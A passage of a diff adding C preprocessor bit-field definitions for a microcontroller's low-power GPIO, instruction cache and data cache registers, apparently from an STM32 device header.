0x00001000 */ +#define LPGPIO_IDR_ID12 LPGPIO_IDR_ID12_Msk +#define LPGPIO_IDR_ID13_Pos (13UL) +#define LPGPIO_IDR_ID13_Msk (0x1UL << LPGPIO_IDR_ID13_Pos) /*!< 0x00002000 */ +#define LPGPIO_IDR_ID13 LPGPIO_IDR_ID13_Msk +#define LPGPIO_IDR_ID14_Pos (14UL) +#define LPGPIO_IDR_ID14_Msk (0x1UL << LPGPIO_IDR_ID14_Pos) /*!< 0x00004000 */ +#define LPGPIO_IDR_ID14 LPGPIO_IDR_ID14_Msk +#define LPGPIO_IDR_ID15_Pos (15UL) +#define LPGPIO_IDR_ID15_Msk (0x1UL << LPGPIO_IDR_ID15_Pos) /*!< 0x00008000 */ +#define LPGPIO_IDR_ID15 LPGPIO_IDR_ID15_Msk + +/****************** Bits definition for LPGPIO_ODR register *******************/ +#define LPGPIO_ODR_OD0_Pos (0UL) +#define LPGPIO_ODR_OD0_Msk (0x1UL << LPGPIO_ODR_OD0_Pos) /*!< 0x00000001 */ +#define LPGPIO_ODR_OD0 LPGPIO_ODR_OD0_Msk +#define LPGPIO_ODR_OD1_Pos (1UL) +#define LPGPIO_ODR_OD1_Msk (0x1UL << LPGPIO_ODR_OD1_Pos) /*!< 0x00000002 */ +#define LPGPIO_ODR_OD1 LPGPIO_ODR_OD1_Msk +#define LPGPIO_ODR_OD2_Pos (2UL) +#define LPGPIO_ODR_OD2_Msk (0x1UL << LPGPIO_ODR_OD2_Pos) /*!< 0x00000004 */ +#define LPGPIO_ODR_OD2 LPGPIO_ODR_OD2_Msk +#define LPGPIO_ODR_OD3_Pos (3UL) +#define LPGPIO_ODR_OD3_Msk (0x1UL << LPGPIO_ODR_OD3_Pos) /*!< 0x00000008 */ +#define LPGPIO_ODR_OD3 LPGPIO_ODR_OD3_Msk +#define LPGPIO_ODR_OD4_Pos (4UL) +#define LPGPIO_ODR_OD4_Msk (0x1UL << LPGPIO_ODR_OD4_Pos) /*!< 0x00000010 */ +#define LPGPIO_ODR_OD4 LPGPIO_ODR_OD4_Msk +#define LPGPIO_ODR_OD5_Pos (5UL) +#define LPGPIO_ODR_OD5_Msk (0x1UL << LPGPIO_ODR_OD5_Pos) /*!< 0x00000020 */ +#define LPGPIO_ODR_OD5 LPGPIO_ODR_OD5_Msk +#define LPGPIO_ODR_OD6_Pos (6UL) +#define LPGPIO_ODR_OD6_Msk (0x1UL << LPGPIO_ODR_OD6_Pos) /*!< 0x00000040 */ +#define LPGPIO_ODR_OD6 LPGPIO_ODR_OD6_Msk +#define LPGPIO_ODR_OD7_Pos (7UL) +#define LPGPIO_ODR_OD7_Msk (0x1UL << LPGPIO_ODR_OD7_Pos) /*!< 0x00000080 */ +#define LPGPIO_ODR_OD7 LPGPIO_ODR_OD7_Msk +#define LPGPIO_ODR_OD8_Pos (8UL) +#define LPGPIO_ODR_OD8_Msk (0x1UL << LPGPIO_ODR_OD8_Pos) /*!< 0x00000100 */ +#define LPGPIO_ODR_OD8 LPGPIO_ODR_OD8_Msk +#define LPGPIO_ODR_OD9_Pos (9UL) +#define LPGPIO_ODR_OD9_Msk (0x1UL << LPGPIO_ODR_OD9_Pos) /*!< 0x00000200 */ +#define LPGPIO_ODR_OD9 LPGPIO_ODR_OD9_Msk +#define LPGPIO_ODR_OD10_Pos (10UL) +#define LPGPIO_ODR_OD10_Msk (0x1UL << LPGPIO_ODR_OD10_Pos) /*!< 0x00000400 */ +#define LPGPIO_ODR_OD10 LPGPIO_ODR_OD10_Msk +#define LPGPIO_ODR_OD11_Pos (11UL) +#define LPGPIO_ODR_OD11_Msk (0x1UL << LPGPIO_ODR_OD11_Pos) /*!< 0x00000800 */ +#define LPGPIO_ODR_OD11 LPGPIO_ODR_OD11_Msk +#define LPGPIO_ODR_OD12_Pos (12UL) +#define LPGPIO_ODR_OD12_Msk (0x1UL << LPGPIO_ODR_OD12_Pos) /*!< 0x00001000 */ +#define LPGPIO_ODR_OD12 LPGPIO_ODR_OD12_Msk +#define LPGPIO_ODR_OD13_Pos (13UL) +#define LPGPIO_ODR_OD13_Msk (0x1UL << LPGPIO_ODR_OD13_Pos) /*!< 0x00002000 */ +#define LPGPIO_ODR_OD13 LPGPIO_ODR_OD13_Msk +#define LPGPIO_ODR_OD14_Pos (14UL) +#define LPGPIO_ODR_OD14_Msk (0x1UL << LPGPIO_ODR_OD14_Pos) /*!< 0x00004000 */ +#define LPGPIO_ODR_OD14 LPGPIO_ODR_OD14_Msk +#define LPGPIO_ODR_OD15_Pos (15UL) +#define LPGPIO_ODR_OD15_Msk (0x1UL << LPGPIO_ODR_OD15_Pos) /*!< 0x00008000 */ +#define LPGPIO_ODR_OD15 LPGPIO_ODR_OD15_Msk + +/****************** Bits definition for LPGPIO_BSRR register ******************/ +#define LPGPIO_BSRR_BS0_Pos (0UL) +#define LPGPIO_BSRR_BS0_Msk (0x1UL << LPGPIO_BSRR_BS0_Pos) /*!< 0x00000001 */ +#define LPGPIO_BSRR_BS0 LPGPIO_BSRR_BS0_Msk +#define LPGPIO_BSRR_BS1_Pos (1UL) +#define LPGPIO_BSRR_BS1_Msk (0x1UL << LPGPIO_BSRR_BS1_Pos) /*!< 0x00000002 */ +#define LPGPIO_BSRR_BS1 LPGPIO_BSRR_BS1_Msk +#define LPGPIO_BSRR_BS2_Pos (2UL) +#define LPGPIO_BSRR_BS2_Msk (0x1UL << LPGPIO_BSRR_BS2_Pos) /*!< 0x00000004 */ +#define LPGPIO_BSRR_BS2 LPGPIO_BSRR_BS2_Msk +#define LPGPIO_BSRR_BS3_Pos (3UL) +#define LPGPIO_BSRR_BS3_Msk (0x1UL << LPGPIO_BSRR_BS3_Pos) /*!< 0x00000008 */ +#define LPGPIO_BSRR_BS3 LPGPIO_BSRR_BS3_Msk +#define LPGPIO_BSRR_BS4_Pos (4UL) +#define LPGPIO_BSRR_BS4_Msk (0x1UL << LPGPIO_BSRR_BS4_Pos) /*!< 0x00000010 */ +#define LPGPIO_BSRR_BS4 LPGPIO_BSRR_BS4_Msk +#define LPGPIO_BSRR_BS5_Pos (5UL) +#define LPGPIO_BSRR_BS5_Msk (0x1UL << LPGPIO_BSRR_BS5_Pos) /*!< 0x00000020 */ +#define LPGPIO_BSRR_BS5 LPGPIO_BSRR_BS5_Msk +#define LPGPIO_BSRR_BS6_Pos (6UL) +#define LPGPIO_BSRR_BS6_Msk (0x1UL << LPGPIO_BSRR_BS6_Pos) /*!< 0x00000040 */ +#define LPGPIO_BSRR_BS6 LPGPIO_BSRR_BS6_Msk +#define LPGPIO_BSRR_BS7_Pos (7UL) +#define LPGPIO_BSRR_BS7_Msk (0x1UL << LPGPIO_BSRR_BS7_Pos) /*!< 0x00000080 */ +#define LPGPIO_BSRR_BS7 LPGPIO_BSRR_BS7_Msk +#define LPGPIO_BSRR_BS8_Pos (8UL) +#define LPGPIO_BSRR_BS8_Msk (0x1UL << LPGPIO_BSRR_BS8_Pos) /*!< 0x00000100 */ +#define LPGPIO_BSRR_BS8 LPGPIO_BSRR_BS8_Msk +#define LPGPIO_BSRR_BS9_Pos (9UL) +#define LPGPIO_BSRR_BS9_Msk (0x1UL << LPGPIO_BSRR_BS9_Pos) /*!< 0x00000200 */ +#define LPGPIO_BSRR_BS9 LPGPIO_BSRR_BS9_Msk +#define LPGPIO_BSRR_BS10_Pos (10UL) +#define LPGPIO_BSRR_BS10_Msk (0x1UL << LPGPIO_BSRR_BS10_Pos) /*!< 0x00000400 */ +#define LPGPIO_BSRR_BS10 LPGPIO_BSRR_BS10_Msk +#define LPGPIO_BSRR_BS11_Pos (11UL) +#define LPGPIO_BSRR_BS11_Msk (0x1UL << LPGPIO_BSRR_BS11_Pos) /*!< 0x00000800 */ +#define LPGPIO_BSRR_BS11 LPGPIO_BSRR_BS11_Msk +#define LPGPIO_BSRR_BS12_Pos (12UL) +#define LPGPIO_BSRR_BS12_Msk (0x1UL << LPGPIO_BSRR_BS12_Pos) /*!< 0x00001000 */ +#define LPGPIO_BSRR_BS12 LPGPIO_BSRR_BS12_Msk +#define LPGPIO_BSRR_BS13_Pos (13UL) +#define LPGPIO_BSRR_BS13_Msk (0x1UL << LPGPIO_BSRR_BS13_Pos) /*!< 0x00002000 */ +#define LPGPIO_BSRR_BS13 LPGPIO_BSRR_BS13_Msk +#define LPGPIO_BSRR_BS14_Pos (14UL) +#define LPGPIO_BSRR_BS14_Msk (0x1UL << LPGPIO_BSRR_BS14_Pos) /*!< 0x00004000 */ +#define LPGPIO_BSRR_BS14 LPGPIO_BSRR_BS14_Msk +#define LPGPIO_BSRR_BS15_Pos (15UL) +#define LPGPIO_BSRR_BS15_Msk (0x1UL << LPGPIO_BSRR_BS15_Pos) /*!< 0x00008000 */ +#define LPGPIO_BSRR_BS15 LPGPIO_BSRR_BS15_Msk +#define LPGPIO_BSRR_BR0_Pos (16UL) +#define LPGPIO_BSRR_BR0_Msk (0x1UL << LPGPIO_BSRR_BR0_Pos) /*!< 0x00010000 */ +#define LPGPIO_BSRR_BR0 LPGPIO_BSRR_BR0_Msk +#define LPGPIO_BSRR_BR1_Pos (17UL) +#define LPGPIO_BSRR_BR1_Msk (0x1UL << LPGPIO_BSRR_BR1_Pos) /*!< 0x00020000 */ +#define LPGPIO_BSRR_BR1 LPGPIO_BSRR_BR1_Msk +#define LPGPIO_BSRR_BR2_Pos (18UL) +#define LPGPIO_BSRR_BR2_Msk (0x1UL << LPGPIO_BSRR_BR2_Pos) /*!< 0x00040000 */ +#define LPGPIO_BSRR_BR2 LPGPIO_BSRR_BR2_Msk +#define LPGPIO_BSRR_BR3_Pos (19UL) +#define LPGPIO_BSRR_BR3_Msk (0x1UL << LPGPIO_BSRR_BR3_Pos) /*!< 0x00080000 */ +#define LPGPIO_BSRR_BR3 LPGPIO_BSRR_BR3_Msk +#define LPGPIO_BSRR_BR4_Pos (20UL) +#define LPGPIO_BSRR_BR4_Msk (0x1UL << LPGPIO_BSRR_BR4_Pos) /*!< 0x00100000 */ +#define LPGPIO_BSRR_BR4 LPGPIO_BSRR_BR4_Msk +#define LPGPIO_BSRR_BR5_Pos (21UL) +#define LPGPIO_BSRR_BR5_Msk (0x1UL << LPGPIO_BSRR_BR5_Pos) /*!< 0x00200000 */ +#define LPGPIO_BSRR_BR5 LPGPIO_BSRR_BR5_Msk +#define LPGPIO_BSRR_BR6_Pos (22UL) +#define LPGPIO_BSRR_BR6_Msk (0x1UL << LPGPIO_BSRR_BR6_Pos) /*!< 0x00400000 */ +#define LPGPIO_BSRR_BR6 LPGPIO_BSRR_BR6_Msk +#define LPGPIO_BSRR_BR7_Pos (23UL) +#define LPGPIO_BSRR_BR7_Msk (0x1UL << LPGPIO_BSRR_BR7_Pos) /*!< 0x00800000 */ +#define LPGPIO_BSRR_BR7 LPGPIO_BSRR_BR7_Msk +#define LPGPIO_BSRR_BR8_Pos (24UL) +#define LPGPIO_BSRR_BR8_Msk (0x1UL << LPGPIO_BSRR_BR8_Pos) /*!< 0x01000000 */ +#define LPGPIO_BSRR_BR8 LPGPIO_BSRR_BR8_Msk +#define LPGPIO_BSRR_BR9_Pos (25UL) +#define LPGPIO_BSRR_BR9_Msk (0x1UL << LPGPIO_BSRR_BR9_Pos) /*!< 0x02000000 */ +#define LPGPIO_BSRR_BR9 LPGPIO_BSRR_BR9_Msk +#define LPGPIO_BSRR_BR10_Pos (26UL) +#define LPGPIO_BSRR_BR10_Msk (0x1UL << LPGPIO_BSRR_BR10_Pos) /*!< 0x04000000 */ +#define LPGPIO_BSRR_BR10 LPGPIO_BSRR_BR10_Msk +#define LPGPIO_BSRR_BR11_Pos (27UL) +#define LPGPIO_BSRR_BR11_Msk (0x1UL << LPGPIO_BSRR_BR11_Pos) /*!< 0x08000000 */ +#define LPGPIO_BSRR_BR11 LPGPIO_BSRR_BR11_Msk +#define LPGPIO_BSRR_BR12_Pos (28UL) +#define LPGPIO_BSRR_BR12_Msk (0x1UL << LPGPIO_BSRR_BR12_Pos) /*!< 0x10000000 */ +#define LPGPIO_BSRR_BR12 LPGPIO_BSRR_BR12_Msk +#define LPGPIO_BSRR_BR13_Pos (29UL) +#define LPGPIO_BSRR_BR13_Msk (0x1UL << LPGPIO_BSRR_BR13_Pos) /*!< 0x20000000 */ +#define LPGPIO_BSRR_BR13 LPGPIO_BSRR_BR13_Msk +#define LPGPIO_BSRR_BR14_Pos (30UL) +#define LPGPIO_BSRR_BR14_Msk (0x1UL << LPGPIO_BSRR_BR14_Pos) /*!< 0x40000000 */ +#define LPGPIO_BSRR_BR14 LPGPIO_BSRR_BR14_Msk +#define LPGPIO_BSRR_BR15_Pos (31UL) +#define LPGPIO_BSRR_BR15_Msk (0x1UL << LPGPIO_BSRR_BR15_Pos) /*!< 0x80000000 */ +#define LPGPIO_BSRR_BR15 LPGPIO_BSRR_BR15_Msk + +/****************** Bits definition for LPGPIO_BRR register ******************/ +#define LPGPIO_BRR_BR0_Pos (0UL) +#define LPGPIO_BRR_BR0_Msk (0x1UL << LPGPIO_BRR_BR0_Pos) /*!< 0x00000001 */ +#define LPGPIO_BRR_BR0 LPGPIO_BRR_BR0_Msk +#define LPGPIO_BRR_BR1_Pos (1UL) +#define LPGPIO_BRR_BR1_Msk (0x1UL << LPGPIO_BRR_BR1_Pos) /*!< 0x00000002 */ +#define LPGPIO_BRR_BR1 LPGPIO_BRR_BR1_Msk +#define LPGPIO_BRR_BR2_Pos (2UL) +#define LPGPIO_BRR_BR2_Msk (0x1UL << LPGPIO_BRR_BR2_Pos) /*!< 0x00000004 */ +#define LPGPIO_BRR_BR2 LPGPIO_BRR_BR2_Msk +#define LPGPIO_BRR_BR3_Pos (3UL) +#define LPGPIO_BRR_BR3_Msk (0x1UL << LPGPIO_BRR_BR3_Pos) /*!< 0x00000008 */ +#define LPGPIO_BRR_BR3 LPGPIO_BRR_BR3_Msk +#define LPGPIO_BRR_BR4_Pos (4UL) +#define LPGPIO_BRR_BR4_Msk (0x1UL << LPGPIO_BRR_BR4_Pos) /*!< 0x00000010 */ +#define LPGPIO_BRR_BR4 LPGPIO_BRR_BR4_Msk +#define LPGPIO_BRR_BR5_Pos (5UL) +#define LPGPIO_BRR_BR5_Msk (0x1UL << LPGPIO_BRR_BR5_Pos) /*!< 0x00000020 */ +#define LPGPIO_BRR_BR5 LPGPIO_BRR_BR5_Msk +#define LPGPIO_BRR_BR6_Pos (6UL) +#define LPGPIO_BRR_BR6_Msk (0x1UL << LPGPIO_BRR_BR6_Pos) /*!< 0x00000040 */ +#define LPGPIO_BRR_BR6 LPGPIO_BRR_BR6_Msk +#define LPGPIO_BRR_BR7_Pos (7UL) +#define LPGPIO_BRR_BR7_Msk (0x1UL << LPGPIO_BRR_BR7_Pos) /*!< 0x00000080 */ +#define LPGPIO_BRR_BR7 LPGPIO_BRR_BR7_Msk +#define LPGPIO_BRR_BR8_Pos (8UL) +#define LPGPIO_BRR_BR8_Msk (0x1UL << LPGPIO_BRR_BR8_Pos) /*!< 0x00000100 */ +#define LPGPIO_BRR_BR8 LPGPIO_BRR_BR8_Msk +#define LPGPIO_BRR_BR9_Pos (9UL) +#define LPGPIO_BRR_BR9_Msk (0x1UL << LPGPIO_BRR_BR9_Pos) /*!< 0x00000200 */ +#define LPGPIO_BRR_BR9 LPGPIO_BRR_BR9_Msk +#define LPGPIO_BRR_BR10_Pos (10UL) +#define LPGPIO_BRR_BR10_Msk (0x1UL << LPGPIO_BRR_BR10_Pos) /*!< 0x00000400 */ +#define LPGPIO_BRR_BR10 LPGPIO_BRR_BR10_Msk +#define LPGPIO_BRR_BR11_Pos (11UL) +#define LPGPIO_BRR_BR11_Msk (0x1UL << LPGPIO_BRR_BR11_Pos) /*!< 0x00000800 */ +#define LPGPIO_BRR_BR11 LPGPIO_BRR_BR11_Msk +#define LPGPIO_BRR_BR12_Pos (12UL) +#define LPGPIO_BRR_BR12_Msk (0x1UL << LPGPIO_BRR_BR12_Pos) /*!< 0x00001000 */ +#define LPGPIO_BRR_BR12 LPGPIO_BRR_BR12_Msk +#define LPGPIO_BRR_BR13_Pos (13UL) +#define LPGPIO_BRR_BR13_Msk (0x1UL << LPGPIO_BRR_BR13_Pos) /*!< 0x00002000 */ +#define LPGPIO_BRR_BR13 LPGPIO_BRR_BR13_Msk +#define LPGPIO_BRR_BR14_Pos (14UL) +#define LPGPIO_BRR_BR14_Msk (0x1UL << LPGPIO_BRR_BR14_Pos) /*!< 0x00004000 */ +#define LPGPIO_BRR_BR14 LPGPIO_BRR_BR14_Msk +#define LPGPIO_BRR_BR15_Pos (15UL) +#define LPGPIO_BRR_BR15_Msk (0x1UL << LPGPIO_BRR_BR15_Pos) /*!< 0x00008000 */ +#define LPGPIO_BRR_BR15 LPGPIO_BRR_BR15_Msk + +/******************************************************************************/ +/* */ +/* ICACHE */ +/* */ +/******************************************************************************/ +/****************** Bit definition for ICACHE_CR register *******************/ +#define ICACHE_CR_EN_Pos (0UL) +#define ICACHE_CR_EN_Msk (0x1UL << ICACHE_CR_EN_Pos) /*!< 0x00000001 */ +#define ICACHE_CR_EN ICACHE_CR_EN_Msk /*!< Enable */ +#define ICACHE_CR_CACHEINV_Pos (1UL) +#define ICACHE_CR_CACHEINV_Msk (0x1UL << ICACHE_CR_CACHEINV_Pos) /*!< 0x00000002 */ +#define ICACHE_CR_CACHEINV ICACHE_CR_CACHEINV_Msk /*!< Cache invalidation */ +#define ICACHE_CR_WAYSEL_Pos (2UL) +#define ICACHE_CR_WAYSEL_Msk (0x1UL << ICACHE_CR_WAYSEL_Pos) /*!< 0x00000004 */ +#define ICACHE_CR_WAYSEL ICACHE_CR_WAYSEL_Msk /*!< Ways selection */ +#define ICACHE_CR_HITMEN_Pos (16UL) +#define ICACHE_CR_HITMEN_Msk (0x1UL << ICACHE_CR_HITMEN_Pos) /*!< 0x00010000 */ +#define ICACHE_CR_HITMEN ICACHE_CR_HITMEN_Msk /*!< Hit monitor enable */ +#define ICACHE_CR_MISSMEN_Pos (17UL) +#define ICACHE_CR_MISSMEN_Msk (0x1UL << ICACHE_CR_MISSMEN_Pos) /*!< 0x00020000 */ +#define ICACHE_CR_MISSMEN ICACHE_CR_MISSMEN_Msk /*!< Miss monitor enable */ +#define ICACHE_CR_HITMRST_Pos (18UL) +#define ICACHE_CR_HITMRST_Msk (0x1UL << ICACHE_CR_HITMRST_Pos) /*!< 0x00040000 */ +#define ICACHE_CR_HITMRST ICACHE_CR_HITMRST_Msk /*!< Hit monitor reset */ +#define ICACHE_CR_MISSMRST_Pos (19UL) +#define ICACHE_CR_MISSMRST_Msk (0x1UL << ICACHE_CR_MISSMRST_Pos) /*!< 0x00080000 */ +#define ICACHE_CR_MISSMRST ICACHE_CR_MISSMRST_Msk /*!< Miss monitor reset */ + +/****************** Bit definition for ICACHE_SR register *******************/ +#define ICACHE_SR_BUSYF_Pos (0UL) +#define ICACHE_SR_BUSYF_Msk (0x1UL << ICACHE_SR_BUSYF_Pos) /*!< 0x00000001 */ +#define ICACHE_SR_BUSYF ICACHE_SR_BUSYF_Msk /*!< Busy flag */ +#define ICACHE_SR_BSYENDF_Pos (1UL) +#define ICACHE_SR_BSYENDF_Msk (0x1UL << ICACHE_SR_BSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_SR_BSYENDF ICACHE_SR_BSYENDF_Msk /*!< Busy end flag */ +#define ICACHE_SR_ERRF_Pos (2UL) +#define ICACHE_SR_ERRF_Msk (0x1UL << ICACHE_SR_ERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_SR_ERRF ICACHE_SR_ERRF_Msk /*!< Cache error flag */ + +/****************** Bit definition for ICACHE_IER register ******************/ +#define ICACHE_IER_BSYENDIE_Pos (1UL) +#define ICACHE_IER_BSYENDIE_Msk (0x1UL << ICACHE_IER_BSYENDIE_Pos) /*!< 0x00000002 */ +#define ICACHE_IER_BSYENDIE ICACHE_IER_BSYENDIE_Msk /*!< Busy end interrupt enable */ +#define ICACHE_IER_ERRIE_Pos (2UL) +#define ICACHE_IER_ERRIE_Msk (0x1UL << ICACHE_IER_ERRIE_Pos) /*!< 0x00000004 */ +#define ICACHE_IER_ERRIE ICACHE_IER_ERRIE_Msk /*!< Cache error interrupt enable */ + +/****************** Bit definition for ICACHE_FCR register ******************/ +#define ICACHE_FCR_CBSYENDF_Pos (1UL) +#define ICACHE_FCR_CBSYENDF_Msk (0x1UL << ICACHE_FCR_CBSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_FCR_CBSYENDF ICACHE_FCR_CBSYENDF_Msk /*!< Busy end flag clear */ +#define ICACHE_FCR_CERRF_Pos (2UL) +#define ICACHE_FCR_CERRF_Msk (0x1UL << ICACHE_FCR_CERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_FCR_CERRF ICACHE_FCR_CERRF_Msk /*!< Cache error flag clear */ + +/****************** Bit definition for ICACHE_HMONR register ****************/ +#define ICACHE_HMONR_HITMON_Pos (0UL) +#define ICACHE_HMONR_HITMON_Msk (0xFFFFFFFFUL << ICACHE_HMONR_HITMON_Pos) /*!< 0xFFFFFFFF */ +#define ICACHE_HMONR_HITMON ICACHE_HMONR_HITMON_Msk /*!< Cache hit monitor register */ + +/****************** Bit definition for ICACHE_MMONR register ****************/ +#define ICACHE_MMONR_MISSMON_Pos (0UL) +#define ICACHE_MMONR_MISSMON_Msk (0xFFFFUL << ICACHE_MMONR_MISSMON_Pos) /*!< 0x0000FFFF */ +#define ICACHE_MMONR_MISSMON ICACHE_MMONR_MISSMON_Msk /*!< Cache miss monitor register */ + +/****************** Bit definition for ICACHE_CRRx register *****************/ +#define ICACHE_CRRx_BASEADDR_Pos (0UL) +#define ICACHE_CRRx_BASEADDR_Msk (0xFFUL << ICACHE_CRRx_BASEADDR_Pos) /*!< 0x000000FF */ +#define ICACHE_CRRx_BASEADDR ICACHE_CRRx_BASEADDR_Msk /*!< Base address of region X to remap */ +#define ICACHE_CRRx_RSIZE_Pos (9UL) +#define ICACHE_CRRx_RSIZE_Msk (0x7UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000E00 */ +#define ICACHE_CRRx_RSIZE ICACHE_CRRx_RSIZE_Msk /*!< Region X size */ +#define ICACHE_CRRx_RSIZE_0 (0x1UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000200 */ +#define ICACHE_CRRx_RSIZE_1 (0x2UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000400 */ +#define ICACHE_CRRx_RSIZE_2 (0x4UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000800 */ +#define ICACHE_CRRx_REN_Pos (15UL) +#define ICACHE_CRRx_REN_Msk (0x1UL << ICACHE_CRRx_REN_Pos) /*!< 0x00008000 */ +#define ICACHE_CRRx_REN ICACHE_CRRx_REN_Msk /*!< Region X enable */ +#define ICACHE_CRRx_REMAPADDR_Pos (16UL) +#define ICACHE_CRRx_REMAPADDR_Msk (0x7FFUL << ICACHE_CRRx_REMAPADDR_Pos) /*!< 0x07FF0000 */ +#define ICACHE_CRRx_REMAPADDR ICACHE_CRRx_REMAPADDR_Msk /*!< Remap address of Region X to be remapped */ +#define ICACHE_CRRx_MSTSEL_Pos (28UL) +#define ICACHE_CRRx_MSTSEL_Msk (0x1UL << ICACHE_CRRx_MSTSEL_Pos) /*!< 0x10000000 */ +#define ICACHE_CRRx_MSTSEL ICACHE_CRRx_MSTSEL_Msk /*!< Region X AHB cache master selection */ +#define ICACHE_CRRx_HBURST_Pos (31UL) +#define ICACHE_CRRx_HBURST_Msk (0x1UL << ICACHE_CRRx_HBURST_Pos) /*!< 0x80000000 */ +#define ICACHE_CRRx_HBURST ICACHE_CRRx_HBURST_Msk /*!< Region X output burst type */ + +/******************************************************************************/ +/* */ +/* DCACHE */ +/* */ +/******************************************************************************/ +/****************** Bit definition for DCACHE_CR register *******************/ +#define DCACHE_CR_EN_Pos (0UL) +#define DCACHE_CR_EN_Msk (0x1UL << DCACHE_CR_EN_Pos) /*!< 0x00000001 */ +#define DCACHE_CR_EN DCACHE_CR_EN_Msk /*!< Enable */ +#define DCACHE_CR_CACHEINV_Pos (1UL) +#define DCACHE_CR_CACHEINV_Msk (0x1UL << DCACHE_CR_CACHEINV_Pos) /*!< 0x00000002 */ +#define DCACHE_CR_CACHEINV DCACHE_CR_CACHEINV_Msk /*!< Cache invalidation */ +#define DCACHE_CR_CACHECMD_Pos (8UL) +#define DCACHE_CR_CACHECMD_Msk (0x7UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000700 */ +#define DCACHE_CR_CACHECMD DCACHE_CR_CACHECMD_Msk /*!< Cache command */ +#define DCACHE_CR_CACHECMD_0 (0x1UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000100 */ +#define DCACHE_CR_CACHECMD_1 (0x2UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000200 */ +#define DCACHE_CR_CACHECMD_2 (0x4UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000400 */ +#define DCACHE_CR_STARTCMD_Pos (11UL) +#define DCACHE_CR_STARTCMD_Msk (0x1UL << DCACHE_CR_STARTCMD_Pos) /*!< 0x00000800 */ +#define DCACHE_CR_STARTCMD DCACHE_CR_STARTCMD_Msk /*!< Start command */ +#define DCACHE_CR_RHITMEN_Pos (16UL) +#define DCACHE_CR_RHITMEN_Msk (0x1UL << DCACHE_CR_RHITMEN_Pos) /*!< 0x00010000 */ +#define DCACHE_CR_RHITMEN DCACHE_CR_RHITMEN_Msk /*!< Read Hit monitor enable */ +#define DCACHE_CR_RMISSMEN_Pos (17UL) +#define DCACHE_CR_RMISSMEN_Msk (0x1UL << DCACHE_CR_RMISSMEN_Pos) /*!< 0x00020000 */ +#define DCACHE_CR_RMISSMEN DCACHE_CR_RMISSMEN_Msk /*!< Read Miss monitor enable */ +#define DCACHE_CR_RHITMRST_Pos (18UL) +#define DCACHE_CR_RHITMRST_Msk (0x1UL << DCACHE_CR_RHITMRST_Pos) /*!< 0x00040000 */ +#define DCACHE_CR_RHITMRST DCACHE_CR_RHITMRST_Msk /*!< Read Hit monitor reset */ +#define DCACHE_CR_RMISSMRST_Pos (19UL) +#define DCACHE_CR_RMISSMRST_Msk (0x1UL << DCACHE_CR_RMISSMRST_Pos) /*!< 0x00080000 */ +#define DCACHE_CR_RMISSMRST DCACHE_CR_RMISSMRST_Msk /*!< Read Miss monitor reset */ +#define DCACHE_CR_WHITMEN_Pos (20UL) +#define DCACHE_CR_WHITMEN_Msk (0x1UL << DCACHE_CR_WHITMEN_Pos) /*!< 0x00100000 */ +#define DCACHE_CR_WHITMEN DCACHE_CR_WHITMEN_Msk /*!< Write Hit monitor enable */ +#define DCACHE_CR_WMISSMEN_Pos (21UL) +#define DCACHE_CR_WMISSMEN_Msk (0x1UL << DCACHE_CR_WMISSMEN_Pos) /*!< 0x00200000 */ +#define DCACHE_CR_WMISSMEN DCACHE_CR_WMISSMEN_Msk /*!< Write Miss monitor enable */ +#define DCACHE_CR_WHITMRST_Pos (22UL) +#define DCACHE_CR_WHITMRST_Msk (0x1UL << DCACHE_CR_WHITMRST_Pos) /*!< 0x00400000 */ +#define DCACHE_CR_WHITMRST DCACHE_CR_WHITMRST_Msk /*!< Write Hit monitor reset */ +#define DCACHE_CR_WMISSMRST_Pos (23UL) +#define DCACHE_CR_WMISSMRST_Msk (0x1UL << DCACHE_CR_WMISSMRST_Pos) /*!< 0x00800000 */ +#define DCACHE_CR_WMISSMRST DCACHE_CR_WMISSMRST_Msk /*!< Write Miss monitor reset */ +#define DCACHE_CR_HBURST_Pos (31UL) +#define DCACHE_CR_HBURST_Msk (0x1UL << DCACHE_CR_HBURST_Pos) /*!< 0x80000000 */ +#define DCACHE_CR_HBURST DCACHE_CR_HBURST_Msk /*!< Read burst type */ + +/****************** Bit definition for DCACHE_SR register *******************/ +#define DCACHE_SR_BUSYF_Pos (0UL) +#define DCACHE_SR_BUSYF_Msk (0x1UL << DCACHE_SR_BUSYF_Pos) /*!< 0x00000001 */ +#define DCACHE_SR_BUSYF DCACHE_SR_BUSYF_Msk /*!< Busy flag */ +#define DCACHE_SR_BSYENDF_Pos (1UL) +#define DCACHE_SR_BSYENDF_Msk (0x1UL << DCACHE_SR_BSYENDF_Pos) /*!< 0x00000002 */ +#define DCACHE_SR_BSYENDF DCACHE_SR_BSYENDF_Msk /*!< Busy end flag */ +#define DCACHE_SR_ERRF_Pos (2UL) +#define DCACHE_SR_ERRF_Msk (0x1UL << DCACHE_SR_ERRF_Pos) /*!< 0x00000004 */ +#define DCACHE_SR_ERRF DCACHE_SR_ERRF_Msk /*!< Cache error flag */ +#define DCACHE_SR_BUSYCMDF_Pos (3UL) +#define DCACHE_SR_BUSYCMDF_Msk (0x1UL << DCACHE_SR_BUSYCMDF_Pos) /*!< 0x00000008 */ +#define DCACHE_SR_BUSYCMDF DCACHE_SR_BUSYCMDF_Msk /*!< Busy command flag */ +#define DCACHE_SR_CMDENDF_Pos (4UL) +#define DCACHE_SR_CMDENDF_Msk (0x1UL << DCACHE_SR_CMDENDF_Pos) /*!< 0x00000010 */ +#define DCACHE_SR_CMDENDF DCACHE_SR_CMDENDF_Msk /*!< Command end flag */ + +/****************** Bit definition for DCACHE_IER register ******************/ +#define DCACHE_IER_BSYENDIE_Pos (1UL) +#define DCACHE_IER_BSYENDIE_Msk (0x1UL << DCACHE_IER_BSYENDIE_Pos) /*!< 0x00000002 */ +#define DCACHE_IER_BSYENDIE DCACHE_IER_BSYENDIE_Msk /*!< Busy end interrupt enable */ +#define DCACHE_IER_ERRIE_Pos (2UL) +#define DCACHE_IER_ERRIE_Msk (0x1UL << DCACHE_IER_ERRIE_Pos) /*!< 0x00000004 */ 